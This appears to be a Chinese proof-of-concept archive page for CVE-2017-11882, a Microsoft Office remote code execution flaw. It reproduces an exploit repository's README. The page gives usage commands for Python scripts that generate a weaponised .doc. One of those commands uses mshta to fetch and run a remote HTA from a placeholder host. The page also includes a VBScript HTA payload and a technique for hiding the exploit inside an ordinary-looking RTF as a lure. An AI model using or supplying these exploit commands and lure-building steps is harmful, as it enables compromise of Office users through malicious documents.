关联漏洞
标题：
Microsoft Office 安全漏洞
(CVE-2017-11882)
描述：Microsoft Office 2007 SP3等都是美国微软（Microsoft）公司开发的办公软件套件产品。 Microsoft Office中存在远程代码执行漏洞，该漏洞源于程序没有正确的处理内存中的对象。远程攻击者可借助特制的文件利用该漏洞在当前用户的上下文中执行任意代码。以下版本受到影响：Microsoft Office 2007 SP3，Microsoft Office 2010 SP2，Microsoft Office 2013 SP1，Microsoft Office 2016。
介绍
# CVE-2017-11882
43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882
109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ （膜一波，现在unamer的代码已经可以执行shellcode了~）
CVE-2017-11882:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis:
https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation:
https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
## Usage
```python
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
```
use mshta
```python
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
```
abc
```html
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
```
>43b命令长度不能超过43 bytes，109b命令长度不能超过109 bytes
# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
## 关于自定义内容
其实关于自定义内容的姿势也是跟别的师傅学来的，很早之前就已经写成脚本了，本来不打算公开，但是看到小组内已经有人发出来了，没办法，只能公开了，其实方式很简单，只需要文本文件打开正常的文档rtf，复制{\*\datastore 之前的所有内容，替换 {\object\objautlink\objupdate之前的内容即可，所以写到脚本里面就很简单了。
添加自定义内容使用方式,选择任意脚本：
```
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
```
自定义内容在input.rtf中。
关于unamer的最新的605字节利用脚本就不更新了，有兴趣自己改。
文件快照
[4.0K] /data/pocs/5284329dfea3559a793dccf8044234f0f2e3e63d
├── [ 11K] Command109b_CVE-2017-11882.py
├── [ 10K] Command43b_CVE-2017-11882.py
├── [4.0K] example
│ └── [7.9K] exploit.rtf
└── [2.2K] README.md
1 directory, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。